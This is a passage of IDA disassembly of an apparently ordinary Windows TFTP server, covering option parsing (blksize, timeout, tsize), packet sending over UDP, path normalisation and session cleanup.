		mov	[edx], eax
		pop	eax
		jmp	short loc_10021E1
; ---------------------------------------------------------------------------


loc_10021DF:				; CODE XREF: sub_10021B5+14j
		xor	eax, eax


loc_10021E1:				; CODE XREF: sub_10021B5+28j
		pop	esi
		retn	8
sub_10021B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_10021E5	proc near		; CODE XREF: .text:01001DB0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	esi
		mov	ecx, offset Memory
		and	dword ptr [edx], 0
		mov	eax, Memory


loc_10021F7:				; CODE XREF: sub_10021E5+21j
		cmp	eax, ecx
		jz	short loc_100220A
		mov	esi, [eax+8]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_1002208
		mov	eax, [eax]
		jmp	short loc_10021F7
; ---------------------------------------------------------------------------


loc_1002208:				; CODE XREF: sub_10021E5+1Dj
		mov	[edx], eax


loc_100220A:				; CODE XREF: sub_10021E5+14j
		mov	eax, [edx]
		pop	esi
		neg	eax
		sbb	eax, eax
		and	al, 0A9h
		add	eax, 57h
		retn	8
sub_10021E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002219	proc near		; DATA XREF: sub_10018DB+CBo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
Memory		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	offset stru_1006020 ; lpCriticalSection
		mov	[ebp+var_C], esi
		call	ds:EnterCriticalSection
		lea	eax, [ebp+Memory]
		push	eax
		call	sub_1001FA6
		test	eax, eax
		jnz	short loc_10022A9
		mov	eax, [ebp+Memory]
		xor	ebx, ebx
		cmp	[eax], esi
		jbe	short loc_1002298


loc_1002248:				; CODE XREF: sub_1002219+7Dj
		mov	eax, [eax+esi+4]
		test	eax, eax
		jz	short loc_100228D
		cmp	eax, 100007Fh
		jz	short loc_100228D
		lea	ecx, [ebp+var_8]
		push	ecx
		push	eax
		call	sub_10021B5
		test	eax, eax
		jz	short loc_1002271
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+18h], 1
		jmp	short loc_100228D
; ---------------------------------------------------------------------------


loc_1002271:				; CODE XREF: sub_1002219+4Aj
		mov	eax, [ebp+Memory]
		push	1
		pop	edi
		push	dword ptr [eax+esi+4] ;	in
		mov	[ebp+var_C], edi
		call	sub_100205A
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_100228D
		mov	[eax+18h], edi


loc_100228D:				; CODE XREF: sub_1002219+35j
					; sub_1002219+3Cj ...
		mov	eax, [ebp+Memory]
		inc	ebx
		add	esi, 18h
		cmp	ebx, [eax]
		jb	short loc_1002248


loc_1002298:				; CODE XREF: sub_1002219+2Dj
		call	sub_1002182
		push	[ebp+Memory]	; Memory
		mov	esi, eax
		call	ds:free	; free
		pop	ecx


loc_10022A9:				; CODE XREF: sub_1002219+24j
		cmp	[ebp+var_C], 0
		jnz	short loc_10022E9
		test	esi, esi
		jnz	short loc_10022E9
		mov	eax, Memory
		mov	edi, offset Memory
		cmp	eax, edi
		jz	short loc_10022E9


loc_10022C1:				; CODE XREF: sub_1002219+CEj
		mov	[ebp+var_8], eax
		mov	ebx, [eax]
		test	byte ptr [eax+1Ch], 1
		jnz	short loc_10022E3
		mov	esi, [eax+0Ch]
		push	eax		; Memory
		call	sub_1001F54
		push	esi		; in
		call	sub_100205A
		test	eax, eax
		jz	short loc_10022E3
		or	dword ptr [eax+1Ch], 1


loc_10022E3:				; CODE XREF: sub_1002219+B1j
					; sub_1002219+C4j
		cmp	ebx, edi
		mov	eax, ebx
		jnz	short loc_10022C1


loc_10022E9:				; CODE XREF: sub_1002219+94j
					; sub_1002219+98j ...
		push	offset overlapped ; overlapped
		push	offset Handle	; Handle
		call	NotifyAddrChange	; NotifyAddrChange
		push	offset stru_1006020 ; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1002219	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100230A(struct sockaddr *to, int, SOCKET s,	u_short	hostshort, int)

sub_100230A	proc near		; CODE XREF: sub_1001A91+242p
					; sub_10023D8+23Cp ...

buf		= byte ptr -0FFBCh
var_FFBA	= word ptr -0FFBAh
var_FFB8	= byte ptr -0FFB8h
to		= dword	ptr  8
s		= dword	ptr  10h
hostshort	= word ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 0FFBCh
		call	_chkstk	; _chkstk
		push	ebx
		push	esi
		mov	esi, ds:htons
		push	edi
		push	5		; hostshort
		call	esi ; htons
		mov	edi, dword ptr [ebp+hostshort]
		mov	word ptr [ebp+buf], ax
		push	edi		; hostshort
		call	esi ; htons
		cmp	[ebp+arg_10], 0
		mov	[ebp+var_FFBA],	ax
		jz	short loc_1002369
		mov	edi, [ebp+arg_10]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [ebp+var_FFB8]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+arg_10]
		jmp	short loc_10023A2
; ---------------------------------------------------------------------------


loc_1002369:				; CODE XREF: sub_100230A+32j
		cmp	di, 9
		jb	short loc_1002371
		xor	edi, edi


loc_1002371:				; CODE XREF: sub_100230A+63j
		movzx	eax, di
		or	ecx, 0FFFFFFFFh
		lea	ebx, [ebp+var_FFB8]
		mov	edx, off_1005CC0[eax*4]
		xor	eax, eax
		mov	edi, edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, edx


loc_10023A2:				; CODE XREF: sub_100230A+5Dj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		push	10h		; tolen
		push	[ebp+to]	; to
		not	ecx
		dec	ecx
		push	eax		; flags
		add	ecx, 5
		lea	eax, [ebp+buf]
		push	ecx		; len
		push	eax		; buf
		push	[ebp+s]		; s
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10023D1
		call	ds:WSAGetLastError	; WSAGetLastError


loc_10023D1:				; CODE XREF: sub_100230A+BFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_100230A	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_10023D8(int, char *Str1, int, int, int, int)

sub_10023D8	proc near		; CODE XREF: sub_1002F31+302p
					; sub_100333A+26Dp

arg_0		= dword	ptr  4
Str1		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		mov	eax, [esp+arg_0]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_10]
		mov	dword ptr [eax+20h], 200h
		mov	dword ptr [eax+28h], 0Ah
		mov	eax, [esp+0Ch+arg_14]
		push	edi
		mov	ecx, 3FEFh
		and	dword ptr [eax], 0
		xor	eax, eax
		mov	edi, esi
		push	6		; hostshort
		rep stosd
		call	ds:htons	; htons
		mov	[esi], ax
		lea	ebx, [esi+2]
		mov	ebp, [esp+10h+Str1]
		cmp	byte ptr [ebp+0], 0
		jz	loc_10025E4


loc_1002420:				; CODE XREF: sub_10023D8+202j
		mov	esi, ds:_stricmp
		push	offset Str2	; "blksize"
		push	ebp		; Str1
		call	esi ; _stricmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_1002498
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	8
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	esi
		add	ebp, esi
		add	ebx, esi
		push	ebp		; Str
		call	ds:atoi	; atoi
		pop	ecx
		cmp	eax, esi
		mov	ecx, [esp+10h+arg_0]
		mov	[ecx+20h], eax
		jb	loc_10025FD
		cmp	eax, 0FFB8h
		ja	loc_10025FD
		cmp	eax, 5B0h
		jnz	short loc_100248F
		mov	dword ptr [ecx+20h], 200h
		sub	ebx, esi
		jmp	loc_10025C6
; ---------------------------------------------------------------------------


loc_100248F:				; CODE XREF: sub_10023D8+A7j
		push	0Ah
		push	ebx
		push	eax
		jmp	loc_1002597
; ---------------------------------------------------------------------------


loc_1002498:				; CODE XREF: sub_10023D8+5Aj
		push	offset aTimeout_0 ; "timeout"
		push	ebp		; Str1
		call	esi ; _stricmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_100251A
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		add	ebp, 8
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		push	ebp		; Str
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		add	ebx, 8
		and	ecx, 3
		rep movsb
		call	ds:atoi	; atoi
		pop	ecx
		mov	ecx, [esp+10h+arg_0]
		push	1
		pop	edx
		cmp	eax, edx
		mov	[ecx+28h], eax
		jl	loc_1002602
		cmp	eax, 0FFh
		jg	loc_1002602
		mov	eax, [esp+10h+arg_14]
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebp
		jmp	loc_10025A2
; ---------------------------------------------------------------------------


loc_100251A:				; CODE XREF: sub_10023D8+CCj
		push	offset aTsize	; "tsize"
		push	ebp		; Str1
		call	esi ; _stricmp
		pop	ecx
		mov	edi, ebp
		test	eax, eax
		pop	ecx
		jnz	loc_10025B2
		or	edx, 0FFFFFFFFh
		xor	eax, eax
		mov	ecx, edx
		add	ebp, 6
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		add	ebx, 6
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		cmp	[esp+10h+arg_8], 2
		rep movsb
		jnz	short loc_100258D
		mov	edi, ebp
		mov	ecx, edx
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebp
		mov	ecx, edx
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, ebp
		lea	ebx, [ebx+ecx+1]
		mov	ecx, edx
		jmp	short loc_10025CB
; ---------------------------------------------------------------------------


loc_100258D:				; CODE XREF: sub_10023D8+180j
		mov	eax, [esp+10h+arg_0]
		push	0Ah		; Radix
		push	ebx		; DstBuf
		push	dword ptr [eax+24h] ; Val


loc_1002597:				; CODE XREF: sub_10023D8+BBj
		call	ds:_itoa	; _itoa
		add	esp, 0Ch
		mov	edi, ebx


loc_10025A2:				; CODE XREF: sub_10023D8+13Dj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ebx+ecx+1]
		jmp	short loc_10025C6
; ---------------------------------------------------------------------------


loc_10025B2:				; CODE XREF: sub_10023D8+150j
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	[ebp+ecx+1], al
		lea	ebp, [ebp+ecx+1]
		jz	short loc_10025E0


loc_10025C6:				; CODE XREF: sub_10023D8+B2j
					; sub_10023D8+1D8j
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh


loc_10025CB:				; CODE XREF: sub_10023D8+1B3j
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	[ebp+ecx+1], al
		lea	ebp, [ebp+ecx+1]
		jnz	loc_1002420


loc_10025E0:				; CODE XREF: sub_10023D8+1ECj
		mov	esi, [esp+10h+arg_10]


loc_10025E4:				; CODE XREF: sub_10023D8+42j
		mov	eax, [esp+10h+arg_C]
		sub	ebx, esi
		cmp	ebx, 2
		mov	[eax], ebx
		jnz	short loc_10025F4
		and	dword ptr [eax], 0


loc_10025F4:				; CODE XREF: sub_10023D8+217j
		xor	eax, eax


loc_10025F6:				; CODE XREF: sub_10023D8+244j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	18h
; ---------------------------------------------------------------------------


loc_10025FD:				; CODE XREF: sub_10023D8+91j
					; sub_10023D8+9Cj
		push	0
		push	esi
		jmp	short loc_1002606
; ---------------------------------------------------------------------------


loc_1002602:				; CODE XREF: sub_10023D8+105j
					; sub_10023D8+110j
		push	0		; int
		push	8		; hostshort


loc_1002606:				; CODE XREF: sub_10023D8+228j
		push	dword ptr [ecx+8] ; s
		lea	eax, [ecx+0FFF1h]
		add	ecx, 0Ch
		push	eax		; int
		push	ecx		; to
		call	sub_100230A
		or	eax, 0FFFFFFFFh
		jmp	short loc_10025F6
sub_10023D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100261E	proc near		; CODE XREF: sub_1002F31+130p
					; sub_100333A+150p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	al, [ebx]
		mov	ecx, ebx
		mov	esi, ebx
		mov	[ebp+arg_0], ebx


loc_1002630:				; CODE XREF: sub_100261E+22j
		test	al, al
		jz	short loc_1002642
		cmp	al, 5Ch
		jz	short loc_100263C
		cmp	al, 2Fh
		jnz	short loc_1002642


loc_100263C:				; CODE XREF: sub_100261E+18j
		mov	al, [ecx+1]
		inc	ecx
		jmp	short loc_1002630
; ---------------------------------------------------------------------------


loc_1002642:				; CODE XREF: sub_100261E+14j
					; sub_100261E+1Cj ...
		mov	al, [ecx]
		test	al, al
		jz	loc_10026E4
		cmp	al, 2Eh
		jnz	loc_100271C
		mov	dl, [ecx+1]
		lea	edi, [ecx+1]
		cmp	dl, 5Ch
		jz	loc_1002718
		cmp	dl, 2Fh
		jz	loc_1002718
		cmp	dl, al
		jnz	loc_1002703
		mov	dl, [ecx+2]
		lea	edi, [ecx+2]
		cmp	dl, 5Ch
		jz	short loc_1002684
		cmp	dl, 2Fh
		jnz	short loc_1002703


loc_1002684:				; CODE XREF: sub_100261E+5Fj
		dec	esi
		mov	ecx, edi
		dec	esi
		cmp	esi, ebx
		jbe	short loc_10026E0


loc_100268C:				; CODE XREF: sub_100261E+7Bj
		mov	al, [esi]
		cmp	al, 5Ch
		jz	short loc_100269B
		cmp	al, 2Fh
		jz	short loc_100269B
		dec	esi
		cmp	esi, ebx
		jnb	short loc_100268C


loc_100269B:				; CODE XREF: sub_100261E+72j
					; sub_100261E+76j
		inc	esi


loc_100269C:				; CODE XREF: sub_100261E+8Ej
					; sub_100261E+EEj ...
		cmp	esi, [ebp+arg_0]
		jbe	short loc_10026AE
		cmp	byte ptr [esi-1], 20h
		lea	eax, [esi-1]
		jnz	short loc_10026AE
		mov	esi, eax
		jmp	short loc_100269C
; ---------------------------------------------------------------------------


loc_10026AE:				; CODE XREF: sub_100261E+81j
					; sub_100261E+8Aj
		mov	al, [ecx]
		cmp	al, 5Ch
		jz	short loc_10026B8
		cmp	al, 2Fh
		jnz	short loc_1002642


loc_10026B8:				; CODE XREF: sub_100261E+94j
		cmp	esi, ebx
		jz	short loc_10026CB
		mov	al, [esi-1]
		cmp	al, 5Ch
		jz	short loc_10026CB
		cmp	al, 2Fh
		jz	short loc_10026CB
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_10026CB:				; CODE XREF: sub_100261E+9Cj
					; sub_100261E+A3j ...
		inc	ecx
		jz	short loc_10026D8
		mov	al, [ecx]
		cmp	al, 5Ch
		jz	short loc_10026CB
		cmp	al, 2Fh
		jz	short loc_10026CB


loc_10026D8:				; CODE XREF: sub_100261E+AEj
		mov	[ebp+arg_0], esi
		jmp	loc_1002642
; ---------------------------------------------------------------------------


loc_10026E0:				; CODE XREF: sub_100261E+6Cj
		xor	eax, eax
		jmp	short loc_10026FC
; ---------------------------------------------------------------------------


loc_10026E4:				; CODE XREF: sub_100261E+28j
		mov	cl, [esi-1]
		lea	eax, [esi-1]
		cmp	cl, 5Ch
		jz	short loc_10026F4
		cmp	cl, 2Fh
		jnz	short loc_10026F6


loc_10026F4:				; CODE XREF: sub_100261E+CFj
		mov	esi, eax


loc_10026F6:				; CODE XREF: sub_100261E+D4j
		and	byte ptr [esi],	0
		push	1
		pop	eax


loc_10026FC:				; CODE XREF: sub_100261E+C4j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_1002703:				; CODE XREF: sub_100261E+50j
					; sub_100261E+64j ...
		mov	[esi], al
		mov	al, [ecx+1]
		inc	esi
		inc	ecx
		test	al, al
		jz	short loc_100269C
		cmp	al, 5Ch
		jz	short loc_100269C
		cmp	al, 2Fh
		jnz	short loc_1002703
		jmp	short loc_100269C
; ---------------------------------------------------------------------------


loc_1002718:				; CODE XREF: sub_100261E+3Fj
					; sub_100261E+48j
		mov	ecx, edi
		jmp	short loc_100269C
; ---------------------------------------------------------------------------


loc_100271C:				; CODE XREF: sub_100261E+30j
					; sub_100261E+11Dj
		test	al, al
		jz	loc_100269C
		cmp	al, 5Ch
		jz	loc_100269C
		cmp	al, 2Fh
		jz	loc_100269C
		mov	[esi], al
		mov	al, [ecx+1]
		inc	esi
		inc	ecx
		jmp	short loc_100271C
sub_100261E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100273D(void *Src, int, int)

sub_100273D	proc near		; CODE XREF: sub_1002F31+18Cp
					; sub_100333A+197p

Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [ebp+Src]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	byte ptr [ebx+esi-1], 5Ch
		mov	edi, ecx
		setz	al
		xor	ecx, ecx
		cmp	byte ptr [edx],	5Ch
		setz	cl
		test	eax, eax
		jnz	short loc_1002784
		test	ecx, ecx
		jnz	short loc_1002784
		mov	[ebp+arg_8], 1
		jmp	short loc_1002791
; ---------------------------------------------------------------------------


loc_1002784:				; CODE XREF: sub_100273D+38j
					; sub_100273D+3Cj
		and	[ebp+arg_8], 0
		test	eax, eax
		jz	short loc_1002791
		test	ecx, ecx
		jz	short loc_1002791
		dec	ebx


loc_1002791:				; CODE XREF: sub_100273D+45j
					; sub_100273D+4Dj ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		add	eax, edi
		add	eax, ebx
		dec	ecx
		cmp	eax, ecx
		jbe	short loc_10027A4
		xor	eax, eax
		jmp	short loc_10027DA
; ---------------------------------------------------------------------------


loc_10027A4:				; CODE XREF: sub_100273D+61j
		mov	eax, [ebp+arg_8]
		inc	edi
		add	eax, ebx
		push	edi		; Size
		add	eax, edx
		push	edx		; Src
		push	eax		; Dst
		call	ds:memmove	; memmove
		mov	eax, [ebp+Src]
		mov	ecx, ebx
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		add	esp, 0Ch
		and	ecx, 3
		cmp	[ebp+arg_8], 0
		rep movsb
		jz	short loc_10027D7
		mov	byte ptr [ebx+eax], 5Ch


loc_10027D7:				; CODE XREF: sub_100273D+94j
		push	1
		pop	eax


loc_10027DA:				; CODE XREF: sub_100273D+65j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_100273D	endp


; =============== S U B	R O U T	I N E =======================================



sub_10027E1	proc near		; CODE XREF: sub_1002B5E+C7p
					; sub_1002F31+36Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	ecx, [esi+10024h]
		lea	eax, [esi+10024h]
		test	ecx, ecx
		jz	short loc_1002817
		and	dword ptr [eax], 0
		mov	eax, [esp+8+arg_4]
		and	word ptr [esi+10014h], 0
		mov	[esi+10020h], ecx
		mov	eax, [eax+20h]
		mov	[esi+1001Ch], eax
		jmp	short loc_1002877
; ---------------------------------------------------------------------------


loc_1002817:				; CODE XREF: sub_10027E1+14j
		mov	edi, ds:htons
		push	3		; hostshort
		call	edi ; htons
		mov	[esi+38h], ax
		mov	ax, [esi+10014h]
		push	eax		; hostshort
		call	edi ; htons
		mov	[esi+3Ah], ax
		mov	eax, [esp+8+arg_4]
		push	dword ptr [eax+20h]
		lea	eax, [esi+3Ch]
		push	eax
		push	dword ptr [esi+1002Ch]
		call	ds:_read	; _read
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[esi+1001Ch], eax
		jnz	short loc_100286E
		mov	esi, ds:_errno
		call	esi ; _errno
		call	esi ; _errno
		push	dword ptr [eax]	; dwErrCode
		call	ds:SetLastError
		xor	eax, eax
		jmp	short loc_100287A
; ---------------------------------------------------------------------------


loc_100286E:				; CODE XREF: sub_10027E1+75j
		add	eax, 4
		mov	[esi+10020h], eax


loc_1002877:				; CODE XREF: sub_10027E1+34j
		push	1
		pop	eax


loc_100287A:				; CODE XREF: sub_10027E1+8Bj
		pop	edi
		pop	esi
		retn	8
sub_10027E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_100287F	proc near		; CODE XREF: sub_1002F31+2C6p
					; sub_100333A+2CDp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset CriticalSection
		push	esi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	ecx, dword_1006098
		push	esi		; lpCriticalSection
		mov	eax, [esp+8+arg_0]
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset dword_1006098
		mov	[ecx+4], eax
		mov	dword_1006098, eax
		call	ds:LeaveCriticalSection
		push	1
		pop	eax
		pop	esi
		retn	4
sub_100287F	endp


; =============== S U B	R O U T	I N E =======================================



sub_10028B5	proc near		; CODE XREF: sub_1002A3D+Cp
					; sub_1002EC8+8p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, ds:EnterCriticalSection
		push	esi
		push	edi
		mov	edi, offset CriticalSection
		push	edi		; lpCriticalSection
		call	ebx ; EnterCriticalSection
		mov	eax, dword_1006098
		mov	ecx, offset dword_1006098


loc_10028D0:				; CODE XREF: sub_10028B5+2Dj
		cmp	eax, ecx
		jz	short loc_10028F2
		mov	edx, [eax+8]
		lea	esi, [eax-18h]
		cmp	edx, [esp+0Ch+arg_0]
		jz	short loc_10028E4
		mov	eax, [eax]
		jmp	short loc_10028D0
; ---------------------------------------------------------------------------


loc_10028E4:				; CODE XREF: sub_10028B5+29j
		push	esi		; lpCriticalSection
		call	ebx ; EnterCriticalSection
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		mov	eax, esi
		jmp	short loc_10028FB
; ---------------------------------------------------------------------------


loc_10028F2:				; CODE XREF: sub_10028B5+1Dj
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		xor	eax, eax


loc_10028FB:				; CODE XREF: sub_10028B5+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_10028B5	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1002901(LPCRITICAL_SECTION lpCriticalSection)

sub_1002901	proc near		; CODE XREF: sub_100297A+Ap

lpCriticalSection= dword ptr  4

		push	esi
		mov	esi, [esp+4+lpCriticalSection]
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_1002915
		push	eax		; s
		call	ds:closesocket	; closesocket


loc_1002915:				; CODE XREF: sub_1002901+Bj
		mov	eax, [esi+10004h]
		test	eax, eax
		jz	short loc_100292E
		push	0
		push	eax
		push	dword_10060A0
		call	ds:RtlDeleteTimer	; RtlDeleteTimer


loc_100292E:				; CODE XREF: sub_1002901+1Cj
		push	0
		push	dword ptr [esi+0FFFCh]
		call	ds:RtlDeregisterWaitEx	; RtlDeregisterWaitEx
		push	dword ptr [esi+0FFF8h] ; hObject
		call	ds:CloseHandle	; CloseHandle
		push	esi		; lpCriticalSection
		call	ds:DeleteCriticalSection
		pop	esi
		retn	4
sub_1002901	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1002953(void *Memory)

sub_1002953	proc near		; CODE XREF: sub_100297A+2Fp
					; sub_100297A+37p

Memory		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Memory]
		mov	eax, [esi+1002Ch]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_100296B
		push	eax
		call	ds:_close	; _close
		pop	ecx


loc_100296B:				; CODE XREF: sub_1002953+Ej
		push	esi		; Memory
		call	ds:free	; free
		pop	ecx
		pop	esi
		retn	4
sub_1002953	endp

; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_100297A(LPCRITICAL_SECTION Memory)

sub_100297A	proc near		; CODE XREF: sub_10029BA+55p

Memory		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Memory]
		test	esi, esi
		jz	short loc_10029B6
		push	esi		; lpCriticalSection
		call	sub_1002901
		mov	eax, [esi+24h]
		dec	eax
		jz	short loc_10029B0
		dec	eax
		jz	short loc_10029A8
		dec	eax
		jz	short loc_10029A0
		dec	eax
		jnz	short loc_10029B6
		push	esi
		call	nullsub_1
		jmp	short loc_10029B6
; ---------------------------------------------------------------------------


loc_10029A0:				; CODE XREF: sub_100297A+19j
		push	esi
		call	nullsub_1
		jmp	short loc_10029B6
; ---------------------------------------------------------------------------


loc_10029A8:				; CODE XREF: sub_100297A+16j
		push	esi		; Memory
		call	sub_1002953
		jmp	short loc_10029B6
; ---------------------------------------------------------------------------


loc_10029B0:				; CODE XREF: sub_100297A+13j
		push	esi		; Memory
		call	sub_1002953


loc_10029B6:				; CODE XREF: sub_100297A+7j
					; sub_100297A+1Cj ...
		pop	esi
		retn	4
sub_100297A	endp


; =============== S U B	R O U T	I N E =======================================



sub_10029BA	proc near		; DATA XREF: sub_10018DB+98o
		push	ebx
		mov	ebx, ds:EnterCriticalSection
		push	esi
		push	offset CriticalSection ; lpCriticalSection
		call	ebx ; EnterCriticalSection
		mov	esi, dword_1006098
		cmp	esi, offset dword_1006098
		jz	short loc_1002A28
		push	edi
		push	ebp


loc_10029D9:				; CODE XREF: sub_10029BA+6Aj
		lea	edi, [esi-18h]
		push	edi		; lpCriticalSection
		call	ebx ; EnterCriticalSection
		mov	ebp, [esi]
		inc	dword ptr [edi+10008h]
		cmp	dword ptr [edi+10008h],	4
		lea	eax, [edi+10008h]
		push	edi		; lpCriticalSection
		jb	short loc_1002A16
		call	ebx ; EnterCriticalSection
		mov	eax, [esi]
		mov	esi, [esi+4]
		mov	[esi], eax
		mov	[eax+4], esi
		mov	ax, [edi+2Ah]
		push	eax		; hostshort
		call	ds:htons	; htons
		push	edi		; Memory
		call	sub_100297A
		jmp	short loc_1002A1C
; ---------------------------------------------------------------------------


loc_1002A16:				; CODE XREF: sub_10029BA+3Bj
		call	ds:LeaveCriticalSection


loc_1002A1C:				; CODE XREF: sub_10029BA+5Aj
		cmp	ebp, offset dword_1006098
		mov	esi, ebp
		jnz	short loc_10029D9
		pop	ebp
		pop	edi


loc_1002A28:				; CODE XREF: sub_10029BA+1Bj
		push	offset CriticalSection ; lpCriticalSection
		call	ds:LeaveCriticalSection
		call	sub_1001A1F
		pop	esi
		pop	ebx
		retn	8
sub_10029BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002A3D	proc near		; DATA XREF: sub_1002F31+341o
					; sub_100333A+32Co

SystemTime	= _SYSTEMTIME ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_10028B5
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_1002B57
		mov	eax, [esi+1000Ch]
		cmp	eax, 0Ah
		jnb	loc_1002B0B
		cmp	eax, 5
		jbe	short loc_1002A8E
		lea	eax, [ebp+SystemTime]
		push	eax		; lpSystemTime
		call	ds:GetLocalTime	; GetLocalTime
		mov	ax, [esi+2Ah]
		push	eax		; netshort
		call	ds:ntohs	; ntohs
		mov	ax, [esi+3Ah]
		push	eax		; hostshort
		call	ds:htons	; htons


loc_1002A8E:				; CODE XREF: sub_1002A3D+2Fj
		lea	eax, [esi+28h]
		push	10h		; tolen
		push	eax		; to
		push	ebx		; flags
		push	dword ptr [esi+10020h] ; len
		lea	eax, [esi+38h]
		push	eax		; buf
		push	dword ptr [esi+20h] ; s
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1002AB3
		call	ds:WSAGetLastError	; WSAGetLastError


loc_1002AB3:				; CODE XREF: sub_1002A3D+6Ej
		mov	edi, [esi+10004h]
		inc	dword ptr [esi+1000Ch]
		cmp	edi, ebx
		jz	loc_1002B4C
